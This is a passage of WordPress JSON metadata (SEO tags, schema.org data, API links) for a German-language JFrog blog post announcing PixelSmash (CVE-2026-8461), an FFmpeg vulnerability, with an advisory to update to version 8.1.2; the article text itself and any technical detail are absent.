content=\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-20T08:42:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-07T07:54:33+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22153509\/Social_Blog_1200X628-1024x536.png\" \/>\n<meta name=\"author\" content=\"drewt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"drewt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"},\"author\":{\"name\":\"drewt\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\"},\"headline\":\"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko\",\"datePublished\":\"2026-08-20T08:42:06+00:00\",\"dateModified\":\"2026-09-07T07:54:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"},\"wordCount\":4392,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"keywords\":[\"Anwendungssicherheit\",\"CVEs\",\"Remote Code Execution\",\"open source security\",\"vulnerabilities\",\"security-research\"],\"articleSection\":[\"Community\",\"Sicherheit und DevSecOps\"],\"inLanguage\":\"de-DE\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\",\"url\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\",\"name\":\"PixelSmash (CVE-2026-8461): Kritische FFmpeg-Schwachstelle | JFrog\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/de\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"datePublished\":\"2026-08-20T08:42:06+00:00\",\"dateModified\":\"2026-09-07T07:54:33+00:00\",\"description\":\"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb\"},\"inLanguage\":\"de-DE\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png\",\"width\":530,\"height\":300,\"caption\":\"Pixelsmash - 530x300\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/de\/#website\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/de\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/de\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"de-DE\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/de\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/de\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\",\"name\":\"drewt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"caption\":\"drewt\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"PixelSmash (CVE-2026-8461): Kritische FFmpeg-Schwachstelle | JFrog","description":"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/172263","og_locale":"de_DE","og_type":"article","og_title":"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko","og_description":"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.","og_url":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2026-08-20T08:42:06+00:00","article_modified_time":"2026-09-07T07:54:33+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22153509\/Social_Blog_1200X628-1024x536.png"}],"author":"drewt","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"drewt","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"},"author":{"name":"drewt","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28"},"headline":"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko","datePublished":"2026-08-20T08:42:06+00:00","dateModified":"2026-09-07T07:54:33+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"},"wordCount":4392,"publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","keywords":["Anwendungssicherheit","CVEs","Remote Code Execution","open source security","vulnerabilities","security-research"],"articleSection":["Community","Sicherheit und DevSecOps"],"inLanguage":"de-DE"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","url":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","name":"PixelSmash (CVE-2026-8461): Kritische FFmpeg-Schwachstelle | JFrog","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","datePublished":"2026-08-20T08:42:06+00:00","dateModified":"2026-09-07T07:54:33+00:00","description":"PixelSmash (CVE-2026-8461) ist eine von JFrog Security Research entdeckte CVSS 8,8-FFmpeg-Schwachstelle. Eine manipulierte 50-KB-Mediendatei erm\u00f6glicht RCE oder DoS. Aktualisieren Sie FFmpeg auf Version 8.1.2.","breadcrumb":{"@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb"},"inLanguage":"de-DE","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/"]}]},{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#primaryimage","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161454\/Pixelsmash-530x300-1.png","width":530,"height":300,"caption":"Pixelsmash - 530x300"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/de\/"},{"@type":"ListItem","position":2,"name":"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/de\/#website","url":"https:\/\/jfrog.com\/de\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/de\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"de-DE"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/de\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28","name":"drewt","image":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","caption":"drewt"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/172263","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/users\/590"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/comments?post=172263"}],"version-history":[{"count":3,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/172263\/revisions"}],"predecessor-version":[{"id":173966,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/172263\/revisions\/173966"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media\/168602"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media?parent=172263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/categories?post=172263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/tags?post=172263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}